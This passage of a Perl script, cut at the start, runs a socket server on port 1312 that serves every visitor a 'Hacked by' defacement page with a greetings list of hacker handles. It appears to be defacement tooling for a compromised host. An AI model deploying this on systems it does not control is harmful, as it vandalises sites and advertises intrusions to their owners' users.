pids from building up
}
$SIG{CHLD} = \&Wait;
my $server = IO::Socket::INET->new(
LocalPort => 1312, # set port
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10) or die "$@\n";
my $client ;
while($client = $server->accept()) {
select $client;
print $client "HTTP/1.0 200 OK\r\n";
print $client "Content-type: text/html\r\n\r\n";
print $client "HackedHacked by L4663r666h05t
Greetz: Jundab - Wonka - Dijehaji - Simsimi - PYS404 - Mr.Vendetta_404 - son1x - civilian
./Coco - Fellgans - Mr.Donut's - scut - ceyen - anon - cyberbug - r3dshadow
"; # set your html content
}
continue {
close($client); #kills hangs
kill CHLD => -$$;
}